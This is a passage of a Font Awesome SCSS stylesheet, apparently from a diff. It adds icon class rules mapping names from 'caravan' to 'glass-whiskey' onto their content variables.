fa-content($fa-var-car-side); } +.#{$fa-css-prefix}-caravan:before { content: fa-content($fa-var-caravan); } +.#{$fa-css-prefix}-caret-down:before { content: fa-content($fa-var-caret-down); } +.#{$fa-css-prefix}-caret-left:before { content: fa-content($fa-var-caret-left); } +.#{$fa-css-prefix}-caret-right:before { content: fa-content($fa-var-caret-right); } +.#{$fa-css-prefix}-caret-square-down:before { content: fa-content($fa-var-caret-square-down); } +.#{$fa-css-prefix}-caret-square-left:before { content: fa-content($fa-var-caret-square-left); } +.#{$fa-css-prefix}-caret-square-right:before { content: fa-content($fa-var-caret-square-right); } +.#{$fa-css-prefix}-caret-square-up:before { content: fa-content($fa-var-caret-square-up); } +.#{$fa-css-prefix}-caret-up:before { content: fa-content($fa-var-caret-up); } +.#{$fa-css-prefix}-carrot:before { content: fa-content($fa-var-carrot); } +.#{$fa-css-prefix}-cart-arrow-down:before { content: fa-content($fa-var-cart-arrow-down); } +.#{$fa-css-prefix}-cart-plus:before { content: fa-content($fa-var-cart-plus); } +.#{$fa-css-prefix}-cash-register:before { content: fa-content($fa-var-cash-register); } +.#{$fa-css-prefix}-cat:before { content: fa-content($fa-var-cat); } +.#{$fa-css-prefix}-cc-amazon-pay:before { content: fa-content($fa-var-cc-amazon-pay); } +.#{$fa-css-prefix}-cc-amex:before { content: fa-content($fa-var-cc-amex); } +.#{$fa-css-prefix}-cc-apple-pay:before { content: fa-content($fa-var-cc-apple-pay); } +.#{$fa-css-prefix}-cc-diners-club:before { content: fa-content($fa-var-cc-diners-club); } +.#{$fa-css-prefix}-cc-discover:before { content: fa-content($fa-var-cc-discover); } +.#{$fa-css-prefix}-cc-jcb:before { content: fa-content($fa-var-cc-jcb); } +.#{$fa-css-prefix}-cc-mastercard:before { content: fa-content($fa-var-cc-mastercard); } +.#{$fa-css-prefix}-cc-paypal:before { content: fa-content($fa-var-cc-paypal); } +.#{$fa-css-prefix}-cc-stripe:before { content: fa-content($fa-var-cc-stripe); } +.#{$fa-css-prefix}-cc-visa:before { content: fa-content($fa-var-cc-visa); } +.#{$fa-css-prefix}-centercode:before { content: fa-content($fa-var-centercode); } +.#{$fa-css-prefix}-centos:before { content: fa-content($fa-var-centos); } +.#{$fa-css-prefix}-certificate:before { content: fa-content($fa-var-certificate); } +.#{$fa-css-prefix}-chair:before { content: fa-content($fa-var-chair); } +.#{$fa-css-prefix}-chalkboard:before { content: fa-content($fa-var-chalkboard); } +.#{$fa-css-prefix}-chalkboard-teacher:before { content: fa-content($fa-var-chalkboard-teacher); } +.#{$fa-css-prefix}-charging-station:before { content: fa-content($fa-var-charging-station); } +.#{$fa-css-prefix}-chart-area:before { content: fa-content($fa-var-chart-area); } +.#{$fa-css-prefix}-chart-bar:before { content: fa-content($fa-var-chart-bar); } +.#{$fa-css-prefix}-chart-line:before { content: fa-content($fa-var-chart-line); } +.#{$fa-css-prefix}-chart-pie:before { content: fa-content($fa-var-chart-pie); } +.#{$fa-css-prefix}-check:before { content: fa-content($fa-var-check); } +.#{$fa-css-prefix}-check-circle:before { content: fa-content($fa-var-check-circle); } +.#{$fa-css-prefix}-check-double:before { content: fa-content($fa-var-check-double); } +.#{$fa-css-prefix}-check-square:before { content: fa-content($fa-var-check-square); } +.#{$fa-css-prefix}-cheese:before { content: fa-content($fa-var-cheese); } +.#{$fa-css-prefix}-chess:before { content: fa-content($fa-var-chess); } +.#{$fa-css-prefix}-chess-bishop:before { content: fa-content($fa-var-chess-bishop); } +.#{$fa-css-prefix}-chess-board:before { content: fa-content($fa-var-chess-board); } +.#{$fa-css-prefix}-chess-king:before { content: fa-content($fa-var-chess-king); } +.#{$fa-css-prefix}-chess-knight:before { content: fa-content($fa-var-chess-knight); } +.#{$fa-css-prefix}-chess-pawn:before { content: fa-content($fa-var-chess-pawn); } +.#{$fa-css-prefix}-chess-queen:before { content: fa-content($fa-var-chess-queen); } +.#{$fa-css-prefix}-chess-rook:before { content: fa-content($fa-var-chess-rook); } +.#{$fa-css-prefix}-chevron-circle-down:before { content: fa-content($fa-var-chevron-circle-down); } +.#{$fa-css-prefix}-chevron-circle-left:before { content: fa-content($fa-var-chevron-circle-left); } +.#{$fa-css-prefix}-chevron-circle-right:before { content: fa-content($fa-var-chevron-circle-right); } +.#{$fa-css-prefix}-chevron-circle-up:before { content: fa-content($fa-var-chevron-circle-up); } +.#{$fa-css-prefix}-chevron-down:before { content: fa-content($fa-var-chevron-down); } +.#{$fa-css-prefix}-chevron-left:before { content: fa-content($fa-var-chevron-left); } +.#{$fa-css-prefix}-chevron-right:before { content: fa-content($fa-var-chevron-right); } +.#{$fa-css-prefix}-chevron-up:before { content: fa-content($fa-var-chevron-up); } +.#{$fa-css-prefix}-child:before { content: fa-content($fa-var-child); } +.#{$fa-css-prefix}-chrome:before { content: fa-content($fa-var-chrome); } +.#{$fa-css-prefix}-chromecast:before { content: fa-content($fa-var-chromecast); } +.#{$fa-css-prefix}-church:before { content: fa-content($fa-var-church); } +.#{$fa-css-prefix}-circle:before { content: fa-content($fa-var-circle); } +.#{$fa-css-prefix}-circle-notch:before { content: fa-content($fa-var-circle-notch); } +.#{$fa-css-prefix}-city:before { content: fa-content($fa-var-city); } +.#{$fa-css-prefix}-clinic-medical:before { content: fa-content($fa-var-clinic-medical); } +.#{$fa-css-prefix}-clipboard:before { content: fa-content($fa-var-clipboard); } +.#{$fa-css-prefix}-clipboard-check:before { content: fa-content($fa-var-clipboard-check); } +.#{$fa-css-prefix}-clipboard-list:before { content: fa-content($fa-var-clipboard-list); } +.#{$fa-css-prefix}-clock:before { content: fa-content($fa-var-clock); } +.#{$fa-css-prefix}-clone:before { content: fa-content($fa-var-clone); } +.#{$fa-css-prefix}-closed-captioning:before { content: fa-content($fa-var-closed-captioning); } +.#{$fa-css-prefix}-cloud:before { content: fa-content($fa-var-cloud); } +.#{$fa-css-prefix}-cloud-download-alt:before { content: fa-content($fa-var-cloud-download-alt); } +.#{$fa-css-prefix}-cloud-meatball:before { content: fa-content($fa-var-cloud-meatball); } +.#{$fa-css-prefix}-cloud-moon:before { content: fa-content($fa-var-cloud-moon); } +.#{$fa-css-prefix}-cloud-moon-rain:before { content: fa-content($fa-var-cloud-moon-rain); } +.#{$fa-css-prefix}-cloud-rain:before { content: fa-content($fa-var-cloud-rain); } +.#{$fa-css-prefix}-cloud-showers-heavy:before { content: fa-content($fa-var-cloud-showers-heavy); } +.#{$fa-css-prefix}-cloud-sun:before { content: fa-content($fa-var-cloud-sun); } +.#{$fa-css-prefix}-cloud-sun-rain:before { content: fa-content($fa-var-cloud-sun-rain); } +.#{$fa-css-prefix}-cloud-upload-alt:before { content: fa-content($fa-var-cloud-upload-alt); } +.#{$fa-css-prefix}-cloudflare:before { content: fa-content($fa-var-cloudflare); } +.#{$fa-css-prefix}-cloudscale:before { content: fa-content($fa-var-cloudscale); } +.#{$fa-css-prefix}-cloudsmith:before { content: fa-content($fa-var-cloudsmith); } +.#{$fa-css-prefix}-cloudversify:before { content: fa-content($fa-var-cloudversify); } +.#{$fa-css-prefix}-cocktail:before { content: fa-content($fa-var-cocktail); } +.#{$fa-css-prefix}-code:before { content: fa-content($fa-var-code); } +.#{$fa-css-prefix}-code-branch:before { content: fa-content($fa-var-code-branch); } +.#{$fa-css-prefix}-codepen:before { content: fa-content($fa-var-codepen); } +.#{$fa-css-prefix}-codiepie:before { content: fa-content($fa-var-codiepie); } +.#{$fa-css-prefix}-coffee:before { content: fa-content($fa-var-coffee); } +.#{$fa-css-prefix}-cog:before { content: fa-content($fa-var-cog); } +.#{$fa-css-prefix}-cogs:before { content: fa-content($fa-var-cogs); } +.#{$fa-css-prefix}-coins:before { content: fa-content($fa-var-coins); } +.#{$fa-css-prefix}-columns:before { content: fa-content($fa-var-columns); } +.#{$fa-css-prefix}-comment:before { content: fa-content($fa-var-comment); } +.#{$fa-css-prefix}-comment-alt:before { content: fa-content($fa-var-comment-alt); } +.#{$fa-css-prefix}-comment-dollar:before { content: fa-content($fa-var-comment-dollar); } +.#{$fa-css-prefix}-comment-dots:before { content: fa-content($fa-var-comment-dots); } +.#{$fa-css-prefix}-comment-medical:before { content: fa-content($fa-var-comment-medical); } +.#{$fa-css-prefix}-comment-slash:before { content: fa-content($fa-var-comment-slash); } +.#{$fa-css-prefix}-comments:before { content: fa-content($fa-var-comments); } +.#{$fa-css-prefix}-comments-dollar:before { content: fa-content($fa-var-comments-dollar); } +.#{$fa-css-prefix}-compact-disc:before { content: fa-content($fa-var-compact-disc); } +.#{$fa-css-prefix}-compass:before { content: fa-content($fa-var-compass); } +.#{$fa-css-prefix}-compress:before { content: fa-content($fa-var-compress); } +.#{$fa-css-prefix}-compress-alt:before { content: fa-content($fa-var-compress-alt); } +.#{$fa-css-prefix}-compress-arrows-alt:before { content: fa-content($fa-var-compress-arrows-alt); } +.#{$fa-css-prefix}-concierge-bell:before { content: fa-content($fa-var-concierge-bell); } +.#{$fa-css-prefix}-confluence:before { content: fa-content($fa-var-confluence); } +.#{$fa-css-prefix}-connectdevelop:before { content: fa-content($fa-var-connectdevelop); } +.#{$fa-css-prefix}-contao:before { content: fa-content($fa-var-contao); } +.#{$fa-css-prefix}-cookie:before { content: fa-content($fa-var-cookie); } +.#{$fa-css-prefix}-cookie-bite:before { content: fa-content($fa-var-cookie-bite); } +.#{$fa-css-prefix}-copy:before { content: fa-content($fa-var-copy); } +.#{$fa-css-prefix}-copyright:before { content: fa-content($fa-var-copyright); } +.#{$fa-css-prefix}-cotton-bureau:before { content: fa-content($fa-var-cotton-bureau); } +.#{$fa-css-prefix}-couch:before { content: fa-content($fa-var-couch); } +.#{$fa-css-prefix}-cpanel:before { content: fa-content($fa-var-cpanel); } +.#{$fa-css-prefix}-creative-commons:before { content: fa-content($fa-var-creative-commons); } +.#{$fa-css-prefix}-creative-commons-by:before { content: fa-content($fa-var-creative-commons-by); } +.#{$fa-css-prefix}-creative-commons-nc:before { content: fa-content($fa-var-creative-commons-nc); } +.#{$fa-css-prefix}-creative-commons-nc-eu:before { content: fa-content($fa-var-creative-commons-nc-eu); } +.#{$fa-css-prefix}-creative-commons-nc-jp:before { content: fa-content($fa-var-creative-commons-nc-jp); } +.#{$fa-css-prefix}-creative-commons-nd:before { content: fa-content($fa-var-creative-commons-nd); } +.#{$fa-css-prefix}-creative-commons-pd:before { content: fa-content($fa-var-creative-commons-pd); } +.#{$fa-css-prefix}-creative-commons-pd-alt:before { content: fa-content($fa-var-creative-commons-pd-alt); } +.#{$fa-css-prefix}-creative-commons-remix:before { content: fa-content($fa-var-creative-commons-remix); } +.#{$fa-css-prefix}-creative-commons-sa:before { content: fa-content($fa-var-creative-commons-sa); } +.#{$fa-css-prefix}-creative-commons-sampling:before { content: fa-content($fa-var-creative-commons-sampling); } +.#{$fa-css-prefix}-creative-commons-sampling-plus:before { content: fa-content($fa-var-creative-commons-sampling-plus); } +.#{$fa-css-prefix}-creative-commons-share:before { content: fa-content($fa-var-creative-commons-share); } +.#{$fa-css-prefix}-creative-commons-zero:before { content: fa-content($fa-var-creative-commons-zero); } +.#{$fa-css-prefix}-credit-card:before { content: fa-content($fa-var-credit-card); } +.#{$fa-css-prefix}-critical-role:before { content: fa-content($fa-var-critical-role); } +.#{$fa-css-prefix}-crop:before { content: fa-content($fa-var-crop); } +.#{$fa-css-prefix}-crop-alt:before { content: fa-content($fa-var-crop-alt); } +.#{$fa-css-prefix}-cross:before { content: fa-content($fa-var-cross); } +.#{$fa-css-prefix}-crosshairs:before { content: fa-content($fa-var-crosshairs); } +.#{$fa-css-prefix}-crow:before { content: fa-content($fa-var-crow); } +.#{$fa-css-prefix}-crown:before { content: fa-content($fa-var-crown); } +.#{$fa-css-prefix}-crutch:before { content: fa-content($fa-var-crutch); } +.#{$fa-css-prefix}-css3:before { content: fa-content($fa-var-css3); } +.#{$fa-css-prefix}-css3-alt:before { content: fa-content($fa-var-css3-alt); } +.#{$fa-css-prefix}-cube:before { content: fa-content($fa-var-cube); } +.#{$fa-css-prefix}-cubes:before { content: fa-content($fa-var-cubes); } +.#{$fa-css-prefix}-cut:before { content: fa-content($fa-var-cut); } +.#{$fa-css-prefix}-cuttlefish:before { content: fa-content($fa-var-cuttlefish); } +.#{$fa-css-prefix}-d-and-d:before { content: fa-content($fa-var-d-and-d); } +.#{$fa-css-prefix}-d-and-d-beyond:before { content: fa-content($fa-var-d-and-d-beyond); } +.#{$fa-css-prefix}-dailymotion:before { content: fa-content($fa-var-dailymotion); } +.#{$fa-css-prefix}-dashcube:before { content: fa-content($fa-var-dashcube); } +.#{$fa-css-prefix}-database:before { content: fa-content($fa-var-database); } +.#{$fa-css-prefix}-deaf:before { content: fa-content($fa-var-deaf); } +.#{$fa-css-prefix}-deezer:before { content: fa-content($fa-var-deezer); } +.#{$fa-css-prefix}-delicious:before { content: fa-content($fa-var-delicious); } +.#{$fa-css-prefix}-democrat:before { content: fa-content($fa-var-democrat); } +.#{$fa-css-prefix}-deploydog:before { content: fa-content($fa-var-deploydog); } +.#{$fa-css-prefix}-deskpro:before { content: fa-content($fa-var-deskpro); } +.#{$fa-css-prefix}-desktop:before { content: fa-content($fa-var-desktop); } +.#{$fa-css-prefix}-dev:before { content: fa-content($fa-var-dev); } +.#{$fa-css-prefix}-deviantart:before { content: fa-content($fa-var-deviantart); } +.#{$fa-css-prefix}-dharmachakra:before { content: fa-content($fa-var-dharmachakra); } +.#{$fa-css-prefix}-dhl:before { content: fa-content($fa-var-dhl); } +.#{$fa-css-prefix}-diagnoses:before { content: fa-content($fa-var-diagnoses); } +.#{$fa-css-prefix}-diaspora:before { content: fa-content($fa-var-diaspora); } +.#{$fa-css-prefix}-dice:before { content: fa-content($fa-var-dice); } +.#{$fa-css-prefix}-dice-d20:before { content: fa-content($fa-var-dice-d20); } +.#{$fa-css-prefix}-dice-d6:before { content: fa-content($fa-var-dice-d6); } +.#{$fa-css-prefix}-dice-five:before { content: fa-content($fa-var-dice-five); } +.#{$fa-css-prefix}-dice-four:before { content: fa-content($fa-var-dice-four); } +.#{$fa-css-prefix}-dice-one:before { content: fa-content($fa-var-dice-one); } +.#{$fa-css-prefix}-dice-six:before { content: fa-content($fa-var-dice-six); } +.#{$fa-css-prefix}-dice-three:before { content: fa-content($fa-var-dice-three); } +.#{$fa-css-prefix}-dice-two:before { content: fa-content($fa-var-dice-two); } +.#{$fa-css-prefix}-digg:before { content: fa-content($fa-var-digg); } +.#{$fa-css-prefix}-digital-ocean:before { content: fa-content($fa-var-digital-ocean); } +.#{$fa-css-prefix}-digital-tachograph:before { content: fa-content($fa-var-digital-tachograph); } +.#{$fa-css-prefix}-directions:before { content: fa-content($fa-var-directions); } +.#{$fa-css-prefix}-discord:before { content: fa-content($fa-var-discord); } +.#{$fa-css-prefix}-discourse:before { content: fa-content($fa-var-discourse); } +.#{$fa-css-prefix}-disease:before { content: fa-content($fa-var-disease); } +.#{$fa-css-prefix}-divide:before { content: fa-content($fa-var-divide); } +.#{$fa-css-prefix}-dizzy:before { content: fa-content($fa-var-dizzy); } +.#{$fa-css-prefix}-dna:before { content: fa-content($fa-var-dna); } +.#{$fa-css-prefix}-dochub:before { content: fa-content($fa-var-dochub); } +.#{$fa-css-prefix}-docker:before { content: fa-content($fa-var-docker); } +.#{$fa-css-prefix}-dog:before { content: fa-content($fa-var-dog); } +.#{$fa-css-prefix}-dollar-sign:before { content: fa-content($fa-var-dollar-sign); } +.#{$fa-css-prefix}-dolly:before { content: fa-content($fa-var-dolly); } +.#{$fa-css-prefix}-dolly-flatbed:before { content: fa-content($fa-var-dolly-flatbed); } +.#{$fa-css-prefix}-donate:before { content: fa-content($fa-var-donate); } +.#{$fa-css-prefix}-door-closed:before { content: fa-content($fa-var-door-closed); } +.#{$fa-css-prefix}-door-open:before { content: fa-content($fa-var-door-open); } +.#{$fa-css-prefix}-dot-circle:before { content: fa-content($fa-var-dot-circle); } +.#{$fa-css-prefix}-dove:before { content: fa-content($fa-var-dove); } +.#{$fa-css-prefix}-download:before { content: fa-content($fa-var-download); } +.#{$fa-css-prefix}-draft2digital:before { content: fa-content($fa-var-draft2digital); } +.#{$fa-css-prefix}-drafting-compass:before { content: fa-content($fa-var-drafting-compass); } +.#{$fa-css-prefix}-dragon:before { content: fa-content($fa-var-dragon); } +.#{$fa-css-prefix}-draw-polygon:before { content: fa-content($fa-var-draw-polygon); } +.#{$fa-css-prefix}-dribbble:before { content: fa-content($fa-var-dribbble); } +.#{$fa-css-prefix}-dribbble-square:before { content: fa-content($fa-var-dribbble-square); } +.#{$fa-css-prefix}-dropbox:before { content: fa-content($fa-var-dropbox); } +.#{$fa-css-prefix}-drum:before { content: fa-content($fa-var-drum); } +.#{$fa-css-prefix}-drum-steelpan:before { content: fa-content($fa-var-drum-steelpan); } +.#{$fa-css-prefix}-drumstick-bite:before { content: fa-content($fa-var-drumstick-bite); } +.#{$fa-css-prefix}-drupal:before { content: fa-content($fa-var-drupal); } +.#{$fa-css-prefix}-dumbbell:before { content: fa-content($fa-var-dumbbell); } +.#{$fa-css-prefix}-dumpster:before { content: fa-content($fa-var-dumpster); } +.#{$fa-css-prefix}-dumpster-fire:before { content: fa-content($fa-var-dumpster-fire); } +.#{$fa-css-prefix}-dungeon:before { content: fa-content($fa-var-dungeon); } +.#{$fa-css-prefix}-dyalog:before { content: fa-content($fa-var-dyalog); } +.#{$fa-css-prefix}-earlybirds:before { content: fa-content($fa-var-earlybirds); } +.#{$fa-css-prefix}-ebay:before { content: fa-content($fa-var-ebay); } +.#{$fa-css-prefix}-edge:before { content: fa-content($fa-var-edge); } +.#{$fa-css-prefix}-edge-legacy:before { content: fa-content($fa-var-edge-legacy); } +.#{$fa-css-prefix}-edit:before { content: fa-content($fa-var-edit); } +.#{$fa-css-prefix}-egg:before { content: fa-content($fa-var-egg); } +.#{$fa-css-prefix}-eject:before { content: fa-content($fa-var-eject); } +.#{$fa-css-prefix}-elementor:before { content: fa-content($fa-var-elementor); } +.#{$fa-css-prefix}-ellipsis-h:before { content: fa-content($fa-var-ellipsis-h); } +.#{$fa-css-prefix}-ellipsis-v:before { content: fa-content($fa-var-ellipsis-v); } +.#{$fa-css-prefix}-ello:before { content: fa-content($fa-var-ello); } +.#{$fa-css-prefix}-ember:before { content: fa-content($fa-var-ember); } +.#{$fa-css-prefix}-empire:before { content: fa-content($fa-var-empire); } +.#{$fa-css-prefix}-envelope:before { content: fa-content($fa-var-envelope); } +.#{$fa-css-prefix}-envelope-open:before { content: fa-content($fa-var-envelope-open); } +.#{$fa-css-prefix}-envelope-open-text:before { content: fa-content($fa-var-envelope-open-text); } +.#{$fa-css-prefix}-envelope-square:before { content: fa-content($fa-var-envelope-square); } +.#{$fa-css-prefix}-envira:before { content: fa-content($fa-var-envira); } +.#{$fa-css-prefix}-equals:before { content: fa-content($fa-var-equals); } +.#{$fa-css-prefix}-eraser:before { content: fa-content($fa-var-eraser); } +.#{$fa-css-prefix}-erlang:before { content: fa-content($fa-var-erlang); } +.#{$fa-css-prefix}-ethereum:before { content: fa-content($fa-var-ethereum); } +.#{$fa-css-prefix}-ethernet:before { content: fa-content($fa-var-ethernet); } +.#{$fa-css-prefix}-etsy:before { content: fa-content($fa-var-etsy); } +.#{$fa-css-prefix}-euro-sign:before { content: fa-content($fa-var-euro-sign); } +.#{$fa-css-prefix}-evernote:before { content: fa-content($fa-var-evernote); } +.#{$fa-css-prefix}-exchange-alt:before { content: fa-content($fa-var-exchange-alt); } +.#{$fa-css-prefix}-exclamation:before { content: fa-content($fa-var-exclamation); } +.#{$fa-css-prefix}-exclamation-circle:before { content: fa-content($fa-var-exclamation-circle); } +.#{$fa-css-prefix}-exclamation-triangle:before { content: fa-content($fa-var-exclamation-triangle); } +.#{$fa-css-prefix}-expand:before { content: fa-content($fa-var-expand); } +.#{$fa-css-prefix}-expand-alt:before { content: fa-content($fa-var-expand-alt); } +.#{$fa-css-prefix}-expand-arrows-alt:before { content: fa-content($fa-var-expand-arrows-alt); } +.#{$fa-css-prefix}-expeditedssl:before { content: fa-content($fa-var-expeditedssl); } +.#{$fa-css-prefix}-external-link-alt:before { content: fa-content($fa-var-external-link-alt); } +.#{$fa-css-prefix}-external-link-square-alt:before { content: fa-content($fa-var-external-link-square-alt); } +.#{$fa-css-prefix}-eye:before { content: fa-content($fa-var-eye); } +.#{$fa-css-prefix}-eye-dropper:before { content: fa-content($fa-var-eye-dropper); } +.#{$fa-css-prefix}-eye-slash:before { content: fa-content($fa-var-eye-slash); } +.#{$fa-css-prefix}-facebook:before { content: fa-content($fa-var-facebook); } +.#{$fa-css-prefix}-facebook-f:before { content: fa-content($fa-var-facebook-f); } +.#{$fa-css-prefix}-facebook-messenger:before { content: fa-content($fa-var-facebook-messenger); } +.#{$fa-css-prefix}-facebook-square:before { content: fa-content($fa-var-facebook-square); } +.#{$fa-css-prefix}-fan:before { content: fa-content($fa-var-fan); } +.#{$fa-css-prefix}-fantasy-flight-games:before { content: fa-content($fa-var-fantasy-flight-games); } +.#{$fa-css-prefix}-fast-backward:before { content: fa-content($fa-var-fast-backward); } +.#{$fa-css-prefix}-fast-forward:before { content: fa-content($fa-var-fast-forward); } +.#{$fa-css-prefix}-faucet:before { content: fa-content($fa-var-faucet); } +.#{$fa-css-prefix}-fax:before { content: fa-content($fa-var-fax); } +.#{$fa-css-prefix}-feather:before { content: fa-content($fa-var-feather); } +.#{$fa-css-prefix}-feather-alt:before { content: fa-content($fa-var-feather-alt); } +.#{$fa-css-prefix}-fedex:before { content: fa-content($fa-var-fedex); } +.#{$fa-css-prefix}-fedora:before { content: fa-content($fa-var-fedora); } +.#{$fa-css-prefix}-female:before { content: fa-content($fa-var-female); } +.#{$fa-css-prefix}-fighter-jet:before { content: fa-content($fa-var-fighter-jet); } +.#{$fa-css-prefix}-figma:before { content: fa-content($fa-var-figma); } +.#{$fa-css-prefix}-file:before { content: fa-content($fa-var-file); } +.#{$fa-css-prefix}-file-alt:before { content: fa-content($fa-var-file-alt); } +.#{$fa-css-prefix}-file-archive:before { content: fa-content($fa-var-file-archive); } +.#{$fa-css-prefix}-file-audio:before { content: fa-content($fa-var-file-audio); } +.#{$fa-css-prefix}-file-code:before { content: fa-content($fa-var-file-code); } +.#{$fa-css-prefix}-file-contract:before { content: fa-content($fa-var-file-contract); } +.#{$fa-css-prefix}-file-csv:before { content: fa-content($fa-var-file-csv); } +.#{$fa-css-prefix}-file-download:before { content: fa-content($fa-var-file-download); } +.#{$fa-css-prefix}-file-excel:before { content: fa-content($fa-var-file-excel); } +.#{$fa-css-prefix}-file-export:before { content: fa-content($fa-var-file-export); } +.#{$fa-css-prefix}-file-image:before { content: fa-content($fa-var-file-image); } +.#{$fa-css-prefix}-file-import:before { content: fa-content($fa-var-file-import); } +.#{$fa-css-prefix}-file-invoice:before { content: fa-content($fa-var-file-invoice); } +.#{$fa-css-prefix}-file-invoice-dollar:before { content: fa-content($fa-var-file-invoice-dollar); } +.#{$fa-css-prefix}-file-medical:before { content: fa-content($fa-var-file-medical); } +.#{$fa-css-prefix}-file-medical-alt:before { content: fa-content($fa-var-file-medical-alt); } +.#{$fa-css-prefix}-file-pdf:before { content: fa-content($fa-var-file-pdf); } +.#{$fa-css-prefix}-file-powerpoint:before { content: fa-content($fa-var-file-powerpoint); } +.#{$fa-css-prefix}-file-prescription:before { content: fa-content($fa-var-file-prescription); } +.#{$fa-css-prefix}-file-signature:before { content: fa-content($fa-var-file-signature); } +.#{$fa-css-prefix}-file-upload:before { content: fa-content($fa-var-file-upload); } +.#{$fa-css-prefix}-file-video:before { content: fa-content($fa-var-file-video); } +.#{$fa-css-prefix}-file-word:before { content: fa-content($fa-var-file-word); } +.#{$fa-css-prefix}-fill:before { content: fa-content($fa-var-fill); } +.#{$fa-css-prefix}-fill-drip:before { content: fa-content($fa-var-fill-drip); } +.#{$fa-css-prefix}-film:before { content: fa-content($fa-var-film); } +.#{$fa-css-prefix}-filter:before { content: fa-content($fa-var-filter); } +.#{$fa-css-prefix}-fingerprint:before { content: fa-content($fa-var-fingerprint); } +.#{$fa-css-prefix}-fire:before { content: fa-content($fa-var-fire); } +.#{$fa-css-prefix}-fire-alt:before { content: fa-content($fa-var-fire-alt); } +.#{$fa-css-prefix}-fire-extinguisher:before { content: fa-content($fa-var-fire-extinguisher); } +.#{$fa-css-prefix}-firefox:before { content: fa-content($fa-var-firefox); } +.#{$fa-css-prefix}-firefox-browser:before { content: fa-content($fa-var-firefox-browser); } +.#{$fa-css-prefix}-first-aid:before { content: fa-content($fa-var-first-aid); } +.#{$fa-css-prefix}-first-order:before { content: fa-content($fa-var-first-order); } +.#{$fa-css-prefix}-first-order-alt:before { content: fa-content($fa-var-first-order-alt); } +.#{$fa-css-prefix}-firstdraft:before { content: fa-content($fa-var-firstdraft); } +.#{$fa-css-prefix}-fish:before { content: fa-content($fa-var-fish); } +.#{$fa-css-prefix}-fist-raised:before { content: fa-content($fa-var-fist-raised); } +.#{$fa-css-prefix}-flag:before { content: fa-content($fa-var-flag); } +.#{$fa-css-prefix}-flag-checkered:before { content: fa-content($fa-var-flag-checkered); } +.#{$fa-css-prefix}-flag-usa:before { content: fa-content($fa-var-flag-usa); } +.#{$fa-css-prefix}-flask:before { content: fa-content($fa-var-flask); } +.#{$fa-css-prefix}-flickr:before { content: fa-content($fa-var-flickr); } +.#{$fa-css-prefix}-flipboard:before { content: fa-content($fa-var-flipboard); } +.#{$fa-css-prefix}-flushed:before { content: fa-content($fa-var-flushed); } +.#{$fa-css-prefix}-fly:before { content: fa-content($fa-var-fly); } +.#{$fa-css-prefix}-folder:before { content: fa-content($fa-var-folder); } +.#{$fa-css-prefix}-folder-minus:before { content: fa-content($fa-var-folder-minus); } +.#{$fa-css-prefix}-folder-open:before { content: fa-content($fa-var-folder-open); } +.#{$fa-css-prefix}-folder-plus:before { content: fa-content($fa-var-folder-plus); } +.#{$fa-css-prefix}-font:before { content: fa-content($fa-var-font); } +.#{$fa-css-prefix}-font-awesome:before { content: fa-content($fa-var-font-awesome); } +.#{$fa-css-prefix}-font-awesome-alt:before { content: fa-content($fa-var-font-awesome-alt); } +.#{$fa-css-prefix}-font-awesome-flag:before { content: fa-content($fa-var-font-awesome-flag); } +.#{$fa-css-prefix}-font-awesome-logo-full:before { content: fa-content($fa-var-font-awesome-logo-full); } +.#{$fa-css-prefix}-fonticons:before { content: fa-content($fa-var-fonticons); } +.#{$fa-css-prefix}-fonticons-fi:before { content: fa-content($fa-var-fonticons-fi); } +.#{$fa-css-prefix}-football-ball:before { content: fa-content($fa-var-football-ball); } +.#{$fa-css-prefix}-fort-awesome:before { content: fa-content($fa-var-fort-awesome); } +.#{$fa-css-prefix}-fort-awesome-alt:before { content: fa-content($fa-var-fort-awesome-alt); } +.#{$fa-css-prefix}-forumbee:before { content: fa-content($fa-var-forumbee); } +.#{$fa-css-prefix}-forward:before { content: fa-content($fa-var-forward); } +.#{$fa-css-prefix}-foursquare:before { content: fa-content($fa-var-foursquare); } +.#{$fa-css-prefix}-free-code-camp:before { content: fa-content($fa-var-free-code-camp); } +.#{$fa-css-prefix}-freebsd:before { content: fa-content($fa-var-freebsd); } +.#{$fa-css-prefix}-frog:before { content: fa-content($fa-var-frog); } +.#{$fa-css-prefix}-frown:before { content: fa-content($fa-var-frown); } +.#{$fa-css-prefix}-frown-open:before { content: fa-content($fa-var-frown-open); } +.#{$fa-css-prefix}-fulcrum:before { content: fa-content($fa-var-fulcrum); } +.#{$fa-css-prefix}-funnel-dollar:before { content: fa-content($fa-var-funnel-dollar); } +.#{$fa-css-prefix}-futbol:before { content: fa-content($fa-var-futbol); } +.#{$fa-css-prefix}-galactic-republic:before { content: fa-content($fa-var-galactic-republic); } +.#{$fa-css-prefix}-galactic-senate:before { content: fa-content($fa-var-galactic-senate); } +.#{$fa-css-prefix}-gamepad:before { content: fa-content($fa-var-gamepad); } +.#{$fa-css-prefix}-gas-pump:before { content: fa-content($fa-var-gas-pump); } +.#{$fa-css-prefix}-gavel:before { content: fa-content($fa-var-gavel); } +.#{$fa-css-prefix}-gem:before { content: fa-content($fa-var-gem); } +.#{$fa-css-prefix}-genderless:before { content: fa-content($fa-var-genderless); } +.#{$fa-css-prefix}-get-pocket:before { content: fa-content($fa-var-get-pocket); } +.#{$fa-css-prefix}-gg:before { content: fa-content($fa-var-gg); } +.#{$fa-css-prefix}-gg-circle:before { content: fa-content($fa-var-gg-circle); } +.#{$fa-css-prefix}-ghost:before { content: fa-content($fa-var-ghost); } +.#{$fa-css-prefix}-gift:before { content: fa-content($fa-var-gift); } +.#{$fa-css-prefix}-gifts:before { content: fa-content($fa-var-gifts); } +.#{$fa-css-prefix}-git:before { content: fa-content($fa-var-git); } +.#{$fa-css-prefix}-git-alt:before { content: fa-content($fa-var-git-alt); } +.#{$fa-css-prefix}-git-square:before { content: fa-content($fa-var-git-square); } +.#{$fa-css-prefix}-github:before { content: fa-content($fa-var-github); } +.#{$fa-css-prefix}-github-alt:before { content: fa-content($fa-var-github-alt); } +.#{$fa-css-prefix}-github-square:before { content: fa-content($fa-var-github-square); } +.#{$fa-css-prefix}-gitkraken:before { content: fa-content($fa-var-gitkraken); } +.#{$fa-css-prefix}-gitlab:before { content: fa-content($fa-var-gitlab); } +.#{$fa-css-prefix}-gitter:before { content: fa-content($fa-var-gitter); } +.#{$fa-css-prefix}-glass-cheers:before { content: fa-content($fa-var-glass-cheers); } +.#{$fa-css-prefix}-glass-martini:before { content: fa-content($fa-var-glass-martini); } +.#{$fa-css-prefix}-glass-martini-alt:before { content: fa-content($fa-var-glass-martini-alt); } +.#{$fa-css-prefix}-glass-whiskey:before { content: fa-content($fa-var-glass-whiskey); } +.#{$fa-css-prefix}-glasses:before 